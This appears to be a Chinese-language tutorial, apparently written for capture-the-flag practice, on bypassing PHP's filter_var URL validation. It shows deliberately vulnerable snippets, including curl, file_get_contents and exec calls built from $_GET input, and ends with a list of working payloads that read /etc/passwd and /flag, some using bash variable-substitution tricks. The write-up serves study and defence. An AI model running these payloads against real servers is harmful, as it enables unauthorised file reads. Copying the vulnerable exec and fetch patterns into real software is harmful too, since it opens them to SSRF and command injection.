·以下 3 种主要方式在 PHP 中检索 URL
curl library (CURL库)
用于发起网络请求(HTTP、HTTPS、FTP 等)
可以设置 复杂请求头 GET/POST/PUT
可以支持复杂协议 HTTP/HTTPS/FTP/SMTP
file_get_contents (函数)
支持 http://
、https://
等 URL(前提是 PHP allow_url_fopen = On
)
支持读取敏感本地文件 file_get_contents("file:///etc/passwd");
exec()
exec("ping " . $_GET['ip']);
·容易受攻击的代码
situation-1-filter_var()
filter_var()
PHP 提供的一个函数,用来过滤和验证变量。
filter_var($value, $filter, $options);
FILTER_VALIDATE_URL
PHP 预定义的过滤器之一
用法:filter_var(‘http://example.com‘, FILTER_VALIDATE_URL);
作用:用来检查字符串是否是一个合法的 URL
FILTER_FLAG_QUERY_REQUIRED
·类型:PHP 内置过滤器的 标志(flag)。
·用途:与 FILTER_VALIDATE_URL
搭配使用,要求 URL 必须包含查询字符串。
1 2 3 4 5 6 7
| $url = "http://example.com"; $result = filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED); var_dump($result);
$url = "http://example.com/?id=1"; $result = filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED); var_dump($result);
|
攻击面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php function curl($url) { $optArray = array( CURLOPT_URL => $url, CURLOPT_FOLLOWLOCATION => 1 ); $ch = curl_init(); curl_setopt_array($ch, $optArray); $response = curl_exec($ch) or die("Error!"); curl_close($ch);
return $response; } $content = curl(filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); echo $content;
|
攻击方法:
file:/etc/passwd?/
file:/etc%252Fpasswd?/
读取/flagfile:/flag?


situation-2- file_get_contents()
1 2 3
| <?php $f = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) or die("Error!"); echo file_get_contents($f);
|
POC:
file:///etc/?/../passwd
解释:将其用作目录/文件夹名称时,“?” 的使用使其通过验证。然后,我们需要使用“/../”技巧来返回到“/etc/”。
读取/flag file:///etc/?/../../flag

situation-3
1 2 3 4
| <?php $url = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED); exec('curl -L ' . $url, $content) or die("Error!"); print_r($content);
|
POC:
file:/etc/passwd?/
file:${br}/et${u}c/pas${te}swd?/
读取/flag也是一样的: file:/flag?/
file:${br}/fl${te}ag?/
1 2
| 解释: 因为"${x}"(其中"x"可以是任何常规字符或字符串)在 Bash 中用于替换变量,该变量必须不存在,否则会在执行的命令中被丢弃。"$(x)"也可以使用。
|

汇总poc
1 2 3 4 5 6 7 8 9 10 11 12 13
| file:/etc/passwd?/ file:/etc/passwd%3F/ file:/etc%252Fpasswd/ file:/etc%252Fpasswd%3F/ file:///etc/?/../passwd file:///etc/%3F/../passwd file:${br}/et${u}c/pas${te}swd?/ file:$(br)/et$(u)c/pas$(te)swd?/ file:${br}/et${u}c%252Fpas${te}swd?/ file:$(br)/et$(u)c%252Fpas$(te)swd?/ file:${br}/et${u}c%252Fpas${te}swd%3F/ file:$(br)/et$(u)c%252Fpas$(te)swd%3F/ file:///etc/passwd?/../passwd
|